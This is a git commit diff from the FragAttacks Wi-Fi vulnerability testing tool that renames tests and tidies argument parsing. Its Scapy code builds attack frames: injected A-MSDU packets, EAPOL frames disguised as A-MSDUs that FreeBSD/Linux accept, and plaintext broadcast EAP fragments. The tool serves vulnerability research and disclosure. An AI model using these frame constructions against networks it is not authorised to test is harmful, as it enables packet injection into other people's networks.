fragattacks: improve test names and argument parsing

This commit is contained in:
Mathy Vanhoef 2020-07-30 17:53:46 +04:00
parent e29d23e75c
commit b53ee8371d
4 changed files with 61 additions and 62 deletions

View File

@ -21,6 +21,8 @@ def char2trigger(c):
else: raise Exception("Unknown trigger character " + c)
def stract2action(stract):
"""Parse a single trigger and action pair"""
if len(stract) == 1:
trigger = Action.Connected
c = stract[0]
@ -30,9 +32,9 @@ def stract2action(stract):
if c == 'I':
return Action(trigger, action=Action.GetIp)
elif c == 'R':
elif c == 'F':
return Action(trigger, action=Action.Rekey)
elif c == 'C':
elif c == 'R':
return Action(trigger, action=Action.Reconnect)
elif c == 'P':
return Action(trigger, enc=False)
@ -44,15 +46,19 @@ def stract2action(stract):
raise Exception("Unrecognized action")
def str2actions(stractions, default):
"""Parse a list of trigger and action pairs"""
if stractions != None:
return [stract2action(stract) for stract in stractions.split(",")]
else:
return default
def prepare_tests(opt):
stractions = opt.actions
if opt.testname == "ping":
if stractions != None:
actions = [stract2action(stract) for stract in stractions.split(",")]
else:
actions = [Action(Action.Connected, action=Action.GetIp),
Action(Action.Connected, enc=True)]
actions = str2actions(stractions,
[Action(Action.Connected, action=Action.GetIp),
Action(Action.Connected, enc=True)])
test = PingTest(REQ_ICMP, actions, opt=opt)
elif opt.testname == "ping-frag-sep":
@ -87,45 +93,26 @@ def prepare_tests(opt):
elif opt.testname == "forward":
test = ForwardTest(eapol=False, dst=stractions)
elif opt.testname == "eapol-inject":
large = False
if stractions != None and stractions.startswith("L,"):
large, stractions = True, stractions[2:]
elif opt.testname in ["eapol-inject", "eapol-inject-large"]:
large = opt.testname.endswith("-large")
test = ForwardTest(eapol=True, dst=stractions, large=large)
elif opt.testname == "eapol-amsdu":
freebsd = False
if stractions != None:
# TODO: Clean up this parsing / specification
stractions = stractions
if stractions.startswith("M,"):
freebsd = True
stractions = stractions[2:]
prefix, specific = stractions[:-3], stractions[-2:]
actions = []
if len(prefix) > 0:
actions = [stract2action(stract) for stract in prefix.split(",")]
actions += [Action(char2trigger(t), enc=False) for t in specific]
else:
actions = [Action(Action.StartAuth, enc=False),
Action(Action.StartAuth, enc=False)]
elif opt.testname in ["eapol-amsdu", "eapol-amsdu-bad"]:
freebsd = opt.testname.endswith("-bad")
actions = str2actions(stractions,
[Action(Action.StartAuth, enc=False),
Action(Action.StartAuth, enc=False)])
test = EapolAmsduTest(REQ_ICMP, actions, freebsd, opt)
elif opt.testname == "linux-plain":
decoy_tid = None if stractions == None else int(stractions)
test = LinuxTest(REQ_ICMP, decoy_tid)
# TODO: - Rename test
# TODO: - Allow "I,CC" to first get an IP address and test black-box
elif opt.testname == "macos":
if stractions != None:
actions = [Action(char2trigger(t), enc=False) for t in stractions]
else:
actions = [Action(Action.StartAuth, enc=False),
Action(Action.StartAuth, enc=False)]
test = MacOsTest(REQ_ICMP, actions, opt.bcast_dst)
elif opt.testname == "eapfrag":
actions = str2actions(stractions,
[Action(Action.StartAuth, enc=False),
Action(Action.StartAuth, enc=False)])
test = BcastEapFragTest(REQ_ICMP, actions, opt.bcast_dst)
elif opt.testname == "qca-test":
test = QcaDriverTest()
@ -136,8 +123,9 @@ def prepare_tests(opt):
elif opt.testname == "qca-rekey":
test = QcaDriverRekey()
elif opt.testname == "amsdu-inject":
test = AmsduInject(REQ_ICMP, stractions)
elif opt.testname in ["amsdu-inject", "amsdu-inject-bad"]:
malformed = opt.testname.endswith("-bad")
test = AmsduInject(REQ_ICMP, malformed)
# No valid test ID/name was given
else: return None

View File

@ -11,16 +11,13 @@ class AmsduInject(Test):
the A-MSDU attack by injecting an IP packet with a specific identification field.
"""
def __init__(self, ptype, target=False):
def __init__(self, ptype, malformed=False):
super().__init__([
Action(Action.Connected, Action.GetIp, enc=True),
Action(Action.Connected, Action.Inject, enc=True)]
)
self.ptype = ptype
self.target = target
if not self.target in [None, "linux"]:
log(ERROR, f"Unknown target {self.target} in A-MSDU injection test!")
quit(1)
self.malformed = malformed
def prepare(self, station):
log(STATUS, "Generating A-MSDU attack test frame", color="green")
@ -37,12 +34,13 @@ class AmsduInject(Test):
src = station.bss
# Put the request inside an IP packet
if self.target == None:
if not self.malformed:
p = header/LLC()/SNAP()/IP(dst="192.168.1.2", src="1.2.3.4", id=34)/TCP()
# This works against linux 4.9 and above and against FreeBSD
elif self.target == "linux":
else:
p = header/LLC()/SNAP()/IP(dst="192.168.1.2", src="3.5.1.1")/TCP()/Raw(b"A" * 748)
p = p/create_msdu_subframe(src, dst, request, last=True)
p[Dot11QoS].Reserved = 1

View File

@ -191,11 +191,22 @@ class EapolTest(Test):
class EapolAmsduTest(Test):
"""
TODO: Combine this class with PingTest so we have more advanced argument handling
"""
def __init__(self, ptype, actions, freebsd=False, opt=None):
super().__init__(actions)
self.ptype = ptype
self.freebsd = freebsd
self.bcast_dst = False if opt == None else opt.bcast_dst
#TODO: More automatically control ptype and its arguments
self.dport = None if opt == None else opt.udp
actions = self.get_actions(Action.Inject)
if len(actions) != 1:
log(ERROR, f"eapol-amsdu: invalid arguments, should only give 1 inject action (gave {len(actions)}).")
quit(1)
def prepare(self, station):
log(STATUS, "Generating ping test", color="green")
@ -204,8 +215,6 @@ class EapolAmsduTest(Test):
header, request, check_fn = generate_request(station, self.ptype)
# Set the A-MSDU frame type flag in the QoS header
header.Reserved = 1
# Testing
#header.addr2 = "00:11:22:33:44:55"
# We can automatically detect result if the last fragment was
# sent after the authentication
@ -219,7 +228,7 @@ class EapolAmsduTest(Test):
# Masquerade A-MSDU frame as an EAPOL frame
if self.freebsd:
log(STATUS, "Creating malformed EAPOL/MSDU that FreeBSD treats as valid")
log(STATUS, "Creating malformed EAPOL/MSDU that FreeBSD/Linux/.. treats as valid")
request = freebsd_create_eapolmsdu(mac_src, mac_dst, request)
else:
request = LLC()/SNAP()/EAPOL()/Raw(b"\x00\x06AAAAAA") / create_msdu_subframe(mac_src, mac_dst, request)
@ -234,12 +243,7 @@ class EapolAmsduTest(Test):
else:
toinject.addr1 = "ff:ff:ff:ff:ff:ff"
# XXX Where was this needed again?
auth = Dot11()/Dot11Auth(status=0, seqnum=1)
station.set_header(auth)
auth.addr2 = "00:11:22:33:44:55"
self.actions[0].frame = auth
self.actions[1].frame = toinject
# Note: previously I also sent an Auth to 00:..:55 but that doesn't seem to be needed.
actions = self.get_actions(Action.Inject)
actions[0].frame = toinject

View File

@ -5,7 +5,7 @@
from fraginternals import *
class MacOsTest(Test):
class BcastEapFragTest(Test):
"""
This was an early version of the plaintext broadcast fragment attack.
See docs/macoxs-reversing.md for background on this attack. It turns
@ -17,6 +17,14 @@ class MacOsTest(Test):
self.ptype = ptype
self.bcast_dst = bcast_dst
actions = self.get_actions(Action.Inject)
if len(actions) != 2:
log(ERROR, f"eapfrag: invalid arguments, should give 2 inject action (gave {len(actions)}).")
quit(1)
elif actions[0].enc:
log(ERROR, f"eapfrag: first inject action should not be encrypted.")
quit(1)
def prepare(self, station):
# First fragment is the start of an EAPOL frame
header = station.get_header(prior=2)
@ -43,5 +51,6 @@ class MacOsTest(Test):
if self.bcast_dst and frag2.FCfield & Dot11(FCfield="to-DS").FCfield != 0:
frag2.addr3 = "ff:ff:ff:ff:ff:ff"
self.actions[0].frame = frag1
self.actions[1].frame = frag2
actions = self.get_actions(Action.Inject)
actions[0].frame = frag1
actions[1].frame = frag2